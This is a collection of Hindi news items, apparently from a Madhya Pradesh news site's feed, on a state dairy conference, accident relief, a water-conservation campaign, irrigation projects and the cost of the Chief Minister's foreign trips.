    बैठक में पशुपालन एवं डेयरी राज्य मंत्री लखन पटेल ने बताया कि सम्मेलन में आचार्य विद्यासागर जीवदया (गौसेवा) सम्मान योजना के अंतर्गत राज्य स्तरीय चयनित तीन गौशालाओं को संस्थागत श्रेणी के तीन पुरस्कार एवं चार संस्थाओं को सांत्वना पुरस्कार सहित गौसेवा के लिए व्यक्तिगत श्रेणी के तीन पुरस्कार भी मुख्य अतिथि द्वारा प्रदान किए जाएंगे। साथ ही राज्य स्तरीय देसी नस्ल की गायों की दुग्ध उत्पादन प्रतियोगिता के आधार पर चयनित तीन पुरस्कार एवं भारतीय नस्ल की गायों की दुग्ध उत्पादन प्रतियोगिता के आधार पर चयनित दुग्ध उत्पादकों को भी तीन पुरस्कार दिए जाएंगे।

    प्रमुख सचिव पशुपालन उमाकांत उमराव ने बताया कि प्रदेश स्तरीय दुग्ध उत्पादक सम्मेलन में प्रदर्शनी भी आयोजित की जाएगी। प्रदर्शनी में ब्रीडिंग की नवीन तकनीकों का प्रदर्शन होगा। इसमें सार्टेड सीमन, एम्ब्रियों ट्रांसफर टेक्नोलॉजी (इटीटी) एवं गौ-चिप जैसी नई तकनीकों का विशेष रूप से प्रदर्शन किया जाएगा। इसके अलावा पंचगव्य (दूध, दही, घी, गोबर, गोमूत्र) आधारित उत्पादों की प्रदर्शनी में बायोगैस, जैविक खाद, गौ-शिल्प, दैनिक उत्पाद की सामग्री, फिनाइल एवं पेंट आदि भी प्रदर्शित किए जाएंगे। साईलेज और हाइड्रोपोनिक्स के उत्पादन और चलित पशु चिकित्सा इकाई का प्रदर्शन भी सम्मेलन स्थल पर किया जाएगा। उन्होंने बताया कि 13 अप्रैल को नीमच सम्मेलन में सांची के विभिन्न उत्पादों की प्रदर्शनी, कुक्कुट विकास निगम की ओर से अच्छी नस्ल की गाय, भैंस, बकरी एवं अन्य उन्नत पशु नस्लों की लाईव स्टॉक प्रदर्शनी के साथ पशु चिकित्सा विज्ञान के क्षेत्र में हो रहे विभिन्न नवाचारों को प्रतिबिंबित करती हुई पशु चिकित्सा विश्वविद्यालय की प्रदर्शनी भी लगाई जाएगी।

    दुग्ध उत्पादन क्षेत्र के प्रोत्साहन के लिए भावी योजना

    प्रमुख सचिव उमराव ने बताया कि राज्य सरकार की मंशा के अनुरूप दुग्ध उत्पादन क्षेत्र में सहकारिता के प्रसार के लिए दुग्ध सहकारी समितियों की वर्तमान संख्या 6 हजार को बढ़ाकर 9 हजार की जाएगी। दुग्ध सहकारी समितियों से संबद्ध दुग्ध उत्पादक कृषकों को पांच रूपए प्रति लीटर बोनस दिया जाएगा। समिति स्तर से लेकर दुग्ध महासंघ तक शत-प्रतिशत कम्प्यूटरीकरण किया जाएगा।

     

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    बनासकांठा पटाखा फैक्ट्री हादसे में मृतकों के परिजन को दी जाएगी आर्थिक सहायता : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=145334 Wed, 02 Apr 2025 05:19:00 +0000 https://pratyushaashakinayikiran.com/?p=145334 भोपाल

    मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि गुजरात के बनासकांठा स्थित पटाखा फैक्ट्री हादसे में मृतकों के परिजन को 2-2 लाख रूपए और घायल श्रमिकों को 50-50 हजार रूपए की आर्थिक सहायता राशि प्रदान की जाएगी।

    मुख्यमंत्री डॉ. यादव ने कहा कि प्रदेश के अनुसूचित जाति कल्याण मंत्री श्री नागर सिंह चौहान सहित पुलिस और प्रशासन के अधिकारियों को समन्वय के लिए दुर्घटना स्थल पर (बनासकांठा) भेजा गया है। उन्होंने कहा है कि संकट की इस दु:खद घड़ी में हमारी सरकार सभी पीड़ित परिवारों के साथ खड़ी है और उनकी हरसंभव मदद के लिए प्रतिबद्ध है। पीड़ितों को हर जरूरी मदद मुहैया कराई जाएगी।

     

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    जल संवर्धन के साथ उसका संरक्षण आज की महती आवश्यकता : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=145085 Tue, 01 Apr 2025 05:46:00 +0000 https://pratyushaashakinayikiran.com/?p=145085 जल संवर्धन के साथ उसका संरक्षण आज की महती आवश्यकता : मुख्यमंत्री डॉ. यादव

    जल संवर्धन अभियान में अधिक से अधिक हो जन-भागीदारी : मुख्यमंत्री डॉ. यादव

    नवीन जल संरचनाओं के निर्माण के साथ पुरानी जल संरचनाओं का हो जीर्णोद्धार: मुख्यमंत्री डॉ. यादव

    भोपाल

    मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि लोकतंत्र में जनता ही सरकार की सबसे बड़ी ताकत है। जनता को साथ लेकर प्रदेश के चहुँमुखी विकास की ओर हम आगे बढ़ रहे हैं। वित्तीय वर्ष 2025-26 के बजट निर्माण में भी प्रदेश की जनता को जोड़ते हुए उनसे सुझाव आमंत्रित किये गये। प्रदेश में सभी प्रमुख त्यौहार भी प्रदेशवासियों को साथ लेकर मनाने की शुरूआत की गई है। अब 30 मार्च से प्रारंभ हुए राज्य स्तरीय जल गंगा संवर्धन अभियान में भी जन-भागीदारी को प्राथमिकता के साथ जोड़ा गया है। जल संकट को दूर करने बारिश के जल को अधिक से अधिक संग्रहण करने 30 मार्च से प्रांत व्यापी “जल गंगा संवर्धन’’ अभियान की शुरूआत की गई है। यह अभियान 30 जून तक निरंतर जारी रहेगा।

    मुख्यमंत्री डॉ. यादव ने कहा कि “जल गंगा संवर्धन’’ अभियान का राज्य स्तरीय शुभारंभ महाकाल की नगरी उज्जैन में क्षिप्रा नदी के तट से किया गया। इसमें राज्यपाल मंगुभाई पटेल और केन्द्रीय विधि एवं न्याय राज्य मंत्री डॉ. अर्जुनराम मेघवाल भी शामिल हुए। मुख्यमंत्री यादव ने कहा कि प्रदेश में वर्षा जल की बूंद-बूंद बचाने का "जल गंगा संवर्धन" महा अभियान ग्रीष्म ऋतु में 30 जून तक 90 दिन से अधिक समय तक लगातार चलेगा। इस दौरान प्रति दिन छोटी-बड़ी जल संरचनाएं निर्मित कर लोकार्पित की जाएंगी। जल संरक्षण के इस अभियान से प्रदेश के भू-जल स्तर में सुधार आएगा। मुख्यमंत्री डॉ. यादव ने नागरिकों से मानवता ही नहीं समूची प्रकृति का जीवन अस्तित्व बचाए रखने के लिए पानी की बूंद-बूंद बचाने का आह्वान किया है। उन्होंने कहा कि राज्य सरकार जन, जल, जंगल, जमीन और वन्य प्राणियों के संरक्षण के लिए संकल्पित है।

    मुख्यमंत्री डॉ. यादव ने कहा है कि प्रधानमंत्री नरेन्द्र मोदी का जल संरक्षण अभियान देशभर में एक व्यापक जन-आंदोलन बन चुका है। राज्य सरकार भी 'खेत का पानी खेत में-गांव का पानी गांव में' के सिद्धांत पर जल संरक्षण की दिशा में अभियान चला रही है। उन्होंने कहा कि "जल गंगा संवर्धन अभियान" में जल संरक्षण को प्रोत्साहित करने के लिए वर्षा जल संचयन, जल स्रोतों का पुनर्जीवन और जल संरक्षण तकनीकों को अपनाने पर विशेष जोर दिया जा रहा है। प्रदेश सरकार का यह अभियान जल संरक्षण के प्रति जागरूकता बढ़ाने में महत्वपूर्ण भूमिका निभाएगा। उन्होंने सभी संबंधित विभागों को निर्देश दिए हैं कि वे जल संरक्षण से जुड़ी योजनाओं को प्राथमिकता देकर अधिक से अधिक लोगों को अभियान से जोड़ें। उन्होंने कहा कि "जल गंगा संवर्धन अभियान", प्रदेश में जल की प्रचुर उपलब्धता और भावी पीढ़ियों के लिए जल सुरक्षा सुनिश्चित करने में मील का पत्थर सिद्ध होगा।

     

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    जल संवर्धन के साथ उसका संरक्षण आज की महती आवश्यकता : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=145087 Tue, 01 Apr 2025 05:46:00 +0000 https://pratyushaashakinayikiran.com/?p=145087 जल संवर्धन के साथ उसका संरक्षण आज की महती आवश्यकता : मुख्यमंत्री डॉ. यादव

    जल संवर्धन अभियान में अधिक से अधिक हो जन-भागीदारी : मुख्यमंत्री डॉ. यादव

    नवीन जल संरचनाओं के निर्माण के साथ पुरानी जल संरचनाओं का हो जीर्णोद्धार: मुख्यमंत्री डॉ. यादव

    भोपाल

    मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि लोकतंत्र में जनता ही सरकार की सबसे बड़ी ताकत है। जनता को साथ लेकर प्रदेश के चहुँमुखी विकास की ओर हम आगे बढ़ रहे हैं। वित्तीय वर्ष 2025-26 के बजट निर्माण में भी प्रदेश की जनता को जोड़ते हुए उनसे सुझाव आमंत्रित किये गये। प्रदेश में सभी प्रमुख त्यौहार भी प्रदेशवासियों को साथ लेकर मनाने की शुरूआत की गई है। अब 30 मार्च से प्रारंभ हुए राज्य स्तरीय जल गंगा संवर्धन अभियान में भी जन-भागीदारी को प्राथमिकता के साथ जोड़ा गया है। जल संकट को दूर करने बारिश के जल को अधिक से अधिक संग्रहण करने 30 मार्च से प्रांत व्यापी “जल गंगा संवर्धन’’ अभियान की शुरूआत की गई है। यह अभियान 30 जून तक निरंतर जारी रहेगा।

    मुख्यमंत्री डॉ. यादव ने कहा कि “जल गंगा संवर्धन’’ अभियान का राज्य स्तरीय शुभारंभ महाकाल की नगरी उज्जैन में क्षिप्रा नदी के तट से किया गया। इसमें राज्यपाल मंगुभाई पटेल और केन्द्रीय विधि एवं न्याय राज्य मंत्री डॉ. अर्जुनराम मेघवाल भी शामिल हुए। मुख्यमंत्री यादव ने कहा कि प्रदेश में वर्षा जल की बूंद-बूंद बचाने का "जल गंगा संवर्धन" महा अभियान ग्रीष्म ऋतु में 30 जून तक 90 दिन से अधिक समय तक लगातार चलेगा। इस दौरान प्रति दिन छोटी-बड़ी जल संरचनाएं निर्मित कर लोकार्पित की जाएंगी। जल संरक्षण के इस अभियान से प्रदेश के भू-जल स्तर में सुधार आएगा। मुख्यमंत्री डॉ. यादव ने नागरिकों से मानवता ही नहीं समूची प्रकृति का जीवन अस्तित्व बचाए रखने के लिए पानी की बूंद-बूंद बचाने का आह्वान किया है। उन्होंने कहा कि राज्य सरकार जन, जल, जंगल, जमीन और वन्य प्राणियों के संरक्षण के लिए संकल्पित है।

    मुख्यमंत्री डॉ. यादव ने कहा है कि प्रधानमंत्री नरेन्द्र मोदी का जल संरक्षण अभियान देशभर में एक व्यापक जन-आंदोलन बन चुका है। राज्य सरकार भी 'खेत का पानी खेत में-गांव का पानी गांव में' के सिद्धांत पर जल संरक्षण की दिशा में अभियान चला रही है। उन्होंने कहा कि "जल गंगा संवर्धन अभियान" में जल संरक्षण को प्रोत्साहित करने के लिए वर्षा जल संचयन, जल स्रोतों का पुनर्जीवन और जल संरक्षण तकनीकों को अपनाने पर विशेष जोर दिया जा रहा है। प्रदेश सरकार का यह अभियान जल संरक्षण के प्रति जागरूकता बढ़ाने में महत्वपूर्ण भूमिका निभाएगा। उन्होंने सभी संबंधित विभागों को निर्देश दिए हैं कि वे जल संरक्षण से जुड़ी योजनाओं को प्राथमिकता देकर अधिक से अधिक लोगों को अभियान से जोड़ें। उन्होंने कहा कि "जल गंगा संवर्धन अभियान", प्रदेश में जल की प्रचुर उपलब्धता और भावी पीढ़ियों के लिए जल सुरक्षा सुनिश्चित करने में मील का पत्थर सिद्ध होगा।

     

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    “जल पुरुष” डॉ. मोहन यादव का संकल्प हर किसान के खेत तक पानी पहुंचाना https://pratyushaashakinayikiran.com/?p=143190 Tue, 25 Mar 2025 05:37:00 +0000 https://pratyushaashakinayikiran.com/?p=143190 जन्मदिवस पर विशेष

    भोपाल

    मुख्यमंत्री डॉ. मोहन यादव अक्सर कहते हैं कि प्राचीन काल में भारत में पारस पत्थर हुआ करता था, जिसके स्पर्श से लोहा सोना हो जाता था। इस पारस पत्थर का काम पानी करता है जब वह सूखे खेतों पर पहुंचता है। जल के स्पर्श से खेतों में सुनहरी फसलें लहलहाती हैं। प्रधानमंत्री नरेंद्र मोदी के देश की धरती को "शस्य श्यामला" बनाने के संकल्प से ही जुड़ा हुआ है मुख्यमंत्री डॉ. यादव का "संकल्प "हर किसान के खेत तक पानी पहुंचाना" जिससे हर खेत में सुनहरी फसलें लहलहाएं और किसान समृद्धशाली बने। इसी संकल्प को पूरा करने के लिए वे निरंतर जुटे हुए हैं और इसके परिणाम स्वरुप प्रदेश ने गत 1 वर्ष में सिंचाई के क्षेत्र में अभूतपूर्व उपलब्धियां हासिल की हैं।

    पूर्व प्रधानमंत्री स्व. अटल बिहारी वाजपेई ने दो दशक पहले देश की नदियों को जोड़कर हर खेत तक पानी पहुंचाने का सपना देखा था, जो राज्यों के बीच जल विवाद के चलते दो दशकों से अधिक समय से ठंडे बस्ते में पड़ा हुआ था। केन-बेतवा और पार्वती-कालीसिंध-चंबल जैसी महत्वाकांक्षी अंतर्राज्यीय नदी जोड़ो परियोजनाएं मध्यप्रदेश, उत्तर प्रदेश और राजस्थान के बीच सहमति न बन पाने के कारण आगे नहीं बढ़ पा रही थीं। मुख्यमंत्री डॉ. मोहन यादव ने केंद्र सरकार और राज्यों से निरंतर चर्चा कर इन परियोजनाओं के गतिरोध को समाप्त किया और प्रदेश ने दो बड़ी परियोजनाओं के रूप में अभूतपूर्व उपलब्धि हासिल की। प्रधानमंत्री नरेन्द्र मोदी ने स्वयं भारत रत्न अटल बिहारी वाजपेई जी की 100वीं जयंती पर मध्यप्रदेश आकर देश की पहली नदी जोड़ो राष्ट्रीय परियोजना केन-बेतवा का शिलान्यास किया।

    मुख्यमंत्री डॉ. यादव के अथक प्रयासों का ही परिणाम है कि अब महाराष्ट्र सरकार के साथ वार्ता के बाद विश्व की सबसे बड़ी ग्राउण्ड वॉटर रीचार्ज अंतर्राज्यीय संयुक्त परियोजना "ताप्ती बेसिन मेगा रीचार्ज परियोजना" का अवरोध दूर हो गया है। मध्यप्रदेश शीघ्र ही महाराष्ट्र सरकार के साथ इस संबंध में करार करने की ओर बढ़ रहा है। जल्द ही केन्द्रीय जल शक्ति मंत्री और महाराष्ट्र के मुख्यमंत्री को भोपाल आमंत्रित कर करार की कार्यवाही की जाएगी। मुख्यमंत्री डॉ. यादव का कहना है कि "ताप्ती मेगा रिचार्ज योजना के जरिए हम महाऱाष्ट्र सरकार के साथ मिलकर ताप्ती नदी की तीन धाराएं बनाकर राष्ट्रहित में नदी जल की बूंद-बूंद का उपयोग सुनिश्चित कर कृषि भूमि का कोना-कोना सिंचित करेंगे।"

    केन-बेतवा लिंक राष्ट्रीय परियोजना एक महत्वाकांक्षी राष्ट्रीय परियोजना है, जिसमें केन नदी पर दौधन बांध एवं लिंक नहर का निर्माण किया जाना प्रस्तावित है। रूपये 44 हजार 605 करोड़ लागत की इस परियोजना के पूर्ण होने पर मध्यप्रदेश के सूखाग्रस्त बुन्देलखण्ड क्षेत्र के 08 लाख 11 हजार हेक्टेयर क्षेत्र में सिंचाई सुविधा और प्रदेश की 44 लाख आबादी को पेयजल सुविधा प्राप्त होगी। साथ ही परियोजना से 103 मेगावाट बिजली का उत्पादन भी होगा, जिसका पूर्ण उपयोग मध्यप्रदेश करेगा। इस परियोजना से मध्यप्रदेश के 10 जिले-छतरपुर, पन्ना, दमोह, टीकमगढ़, निवाड़ी, शिवपुरी, दतिया, रायसेन, विदिशा एवं सागर के लगभग 02 हजार ग्रामों के लगभग 07 लाख 25 हजार किसान परिवार लाभांवित होंगे। सूखाग्रस्त बुन्देलखण्ड क्षेत्र में भू-जल स्तर की स्थिति सुधरेगी। औद्योगीकरण, निवेश एवं पर्यटन को बढ़ावा मिलेगा तथा रोजगार के अवसर भी उपलब्ध होंगे। इससे स्थानीय स्तर पर लोगों में आत्मनिर्भरता आयेगी तथा लोगों का पलायन रुकेगा। परियोजना के साकार रूप लेने पर मध्यप्रदेश के बुन्देलखण्ड क्षेत्र की तस्वीर बदलेगी।

    संशोधित पार्वती-कालीसिंध-चम्बल अन्तर्राज्यीय नदी लिंक परियोजना के क्रियान्वयन के लिए मध्यप्रदेश और राजस्थान राज्यों एवं केन्द्र के मध्य 28.01.2024 को त्रिपक्षीय समझौता ज्ञापन हस्ताक्षरित हुआ और दोनों राज्यों एवं केन्द्र के मध्य 05.12.2024 को जयपुर में अनुबंध सहमति पत्र (मेमोरेंडम ऑफ एग्रीमेंट) हस्ताक्षरित किया गया। परियोजना की अनुमानित लागत 72 हजार करोड़ रूपये की है, जिसमें मध्यप्रदेश 35 हजार करोड़ एवं राजस्थान 37 करोड़ की हिस्सेदारी होगी। परियोजना से मध्यप्रदेश में मालवा एवं चंबल क्षेत्र के 11 जिले क्रमशः गुना, शिवपुरी, मुरैना, उज्जैन, सीहोर, मंदसौर, देवास, इंदौर, आगर-मालवा, शाजापुर एवं राजगढ़ जिलों में कुल 6.14 लाख हेक्टेयर नवीन सिंचाई एवं चंबल नहर प्रणाली के आधुनीकरण से भिंड मुरैना एवं श्योपुर के 3.62 लाख हेक्टेयर क्षेत्र में सिंचाई सुविधा सुनिश्चत की जायेगी। परियोजना से लगभग 03 हजार 150 ग्रामों की 40 लाख आबादी लाभान्वित होगी एवं इस समेकित परियोजना में मध्यप्रदेश की 19 सिंचाई परियोजनाओं को शामिल किया गया है।

    मुख्यमंत्री डॉ. यादव का संकल्प है कि क्षिप्रा स्वच्छ और निरंतर प्रवहमान बने और सिहंस्थ 2028 में क्षिप्रा के जल में ही श्रद्धालुओं को स्नान कराया जाए। क्षिप्रा नदी के जल को शुद्ध रखने के लिए 900 करोड़ रूपये की लागत की "कान्ह डयवर्सन क्लोज डक्ट परियोजना'' के द्वारा कान्ह नदी के दूषित जल को क्षिप्रा नदी में मिलने से रोका जायेगा। वर्ष-2028 से पहले यह योजना पूर्ण कर ली जायेगी। क्षिप्रा को वर्ष भर अविरल, प्रवहमान बनाने के लिए उज्जैन जिले की सेवरखेडी एवं सिलारखेडी (लागत लगभग 615 करोड़) योजना का कार्य भी आंरभ हो गया है। इससे आमजन एवं श्रद्धालुओं को पूरे वर्ष भर विशेष पर्वों पर उनकी धार्मिक भावनाओं के अनुरूप क्षिप्रा नदी में स्नान करने का अवसर मिलेगा। क्षिप्रा नदी पर सिंहस्थ में स्नान सुविधा के लिये क्षिप्रा नदी के दोनों तटों पर लगभग 29 किलोमीटर लंबाई में घाटों का निर्माण किया जायेगा, जिसकी राशि रू. 778.91 करोड़ की प्रशासकीय स्वीकृति दी जा चुकी है।

    मध्यप्रदेश के बुन्देलखण्ड क्षेत्र में भू-जल स्तर को बढ़ाने, पेयजल संकट को दूर करने एवं सिंचाई सुविधा उपलब्ध कराने के उद्देश्य से "अटल भू-जल योजना" प्रारंभ की गई है। यह योजना प्रदेश के 06 जिलों के 09 विकासखण्डों में क्रियान्वित की जा रही है। इस परियोजना से चयनित क्षेत्रों में भू-जल स्तर में सुधार होने से स्थानीय किसानों को लाभ प्राप्त होगा तथा किसानों की आय बढ़ेगी। इसके अतिरिक्त जल जीवन मिशन के अन्तर्गत जल प्रदाय के लिये टिकाऊ जल स्त्रोत भी उपलब्ध हो सकेंगे। बांधों की सुरक्षा भी एक महत्वपूर्ण मुद्दा है। बांधों की सुरक्षा को लेकर मध्यप्रदेश सरकार पूरी सजगता के साथ काम कर रही है। इसके लिये प्रदेश में "डैम सेफ्टी रिव्यू पेनल" गठित है, जो प्रतिवर्ष संवेदनशील बांधों का निरीक्षण कर अपनी रिपोर्ट प्रस्तुत करता है। आने वाले 05 वर्षों में प्रदेश के 27 बांधों की सुरक्षा एवं मरम्मत की जावेगी। इसके लिये विश्व बैंक के सहयोग से 551 करोड़ रूपये की स्वीकृति प्राप्त की जा चुकी है।

     

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    CM यादव की दो विदेश यात्राओं पर खर्च हो गए 180000000 करोड़ रुपए, CM ने लिखित में दिया जवाब https://pratyushaashakinayikiran.com/?p=142620 Sat, 22 Mar 2025 14:16:00 +0000 https://pratyushaashakinayikiran.com/?p=142620 भोपाल
     मुख्यमंत्री मोहन यादव की दो विदेश यात्राओं पर 18 करोड़ रुपये से ज़्यादा का खर्च आया। यह जानकारी सरकार ने शुक्रवार को विधानसभा में दी। कांग्रेस MLA पंकज उपाध्याय ने इस बारे में सवाल पूछा था। मुख्यमंत्री यादव, जो उद्योग नीति और निवेश प्रोत्साहन विभाग के प्रमुख भी हैं, ने लिखित में इसका जवाब दिया।

    जवाब के अनुसार, मुख्यमंत्री यादव 24 से 30 नवंबर 2024 के बीच UK और जर्मनी गए थे। वहां उन्होंने निवेशकों के साथ बातचीत की। इस यात्रा का अस्थायी खर्च 1,075.55 लाख रुपये (10 करोड़ रुपये से ज़्यादा) था। उनकी दूसरी यात्रा 27 जनवरी से 1 फरवरी तक जापान की थी। इस पर 731.72 लाख रुपये (7 करोड़ रुपये से ज़्यादा) खर्च हुए। दोनों यात्राओं का कुल खर्च 1,807.27 लाख रुपये (18 करोड़ रुपये से ज़्यादा) था।
    एडवांस में भी मिले थे रूपए

    सरकार ने बताया कि यात्राओं के लिए 1,244.27 लाख रुपये (12 करोड़ रुपये से ज़्यादा) एडवांस में दिए गए थे। मुख्यमंत्री की इन दो विदेश यात्राओं का मकसद ग्लोबल इन्वेस्टर्स समिट 2025 को सफल बनाना था। यह समिट भोपाल में 24 और 25 फरवरी को हुआ था। प्रधानमंत्री नरेंद्र मोदी ने इसका उद्घाटन किया था।
    निवेश के लिए की थी यात्राएं

    मुख्यमंत्री मोहन यादव ने नवंबर 2024 से जनवरी 2025 के बीच UK, जर्मनी और जापान की यात्राएं कीं। इन यात्राओं का मकसद प्रदेश में निवेश लाना था। इन यात्राओं पर कुल 18 करोड़ रुपये से ज़्यादा का खर्च आया। यात्राओं के दौरान निवेशकों और उद्योगपतियों के साथ बैठकें हुईं। निवेशकों से निवेश के प्रस्ताव भी मिले। जवाब में यह भी बताया गया कि जर्मनी और UK की यात्रा में मुख्यमंत्री के साथ 15 लोग गए थे। जापान की यात्रा में 12 लोग साथ थे। इनमें एक पत्रकार, एक वीडियो पत्रकार, MPIDC के सलाहकार, MPIDC के नॉलेज पार्टनर, IAS अधिकारी और अन्य सरकारी अधिकारी शामिल थे।
    दोनों यात्राओं के सफल रहने का दावा

    UK और जर्मनी से लौटने के बाद मुख्यमंत्री ने कहा था कि उनकी यात्रा बहुत सफल रही। उन्होंने कहा था कि इस यात्रा से लगभग 78,000 करोड़ रुपये के निवेश के प्रस्ताव मिले हैं। इसी तरह, जापान से लौटने के बाद मुख्यमंत्री ने बताया कि जापान-मध्य प्रदेश औद्योगिक सहयोग मंच बनाने का प्रस्ताव मंजूर हो गया है। इससे मध्य प्रदेश में जापानी इंडस्ट्रियल पार्क, स्किल डेवलपमेंट सेंटर और स्मार्ट मैन्युफैक्चरिंग हब बनेंगे। इसके अलावा, जापानी निवेशकों के साथ लगातार संपर्क बनाए रखने के लिए एक जापान प्लस सेल भी बनाया जाएगा।
    जीआईएस में मिले 26.61 लाख करोड़ के निवेश प्रस्ताव

    ग्लोबल इन्वेस्टर्स समिट (GIS) के बाद मुख्यमंत्री यादव ने कहा कि दो दिन का GIS राज्य की तरक्की में एक सुनहरा अध्याय था। सरकार ने बताया कि GIS में 26.61 लाख करोड़ रुपये के निवेश के प्रस्ताव मिले हैं।

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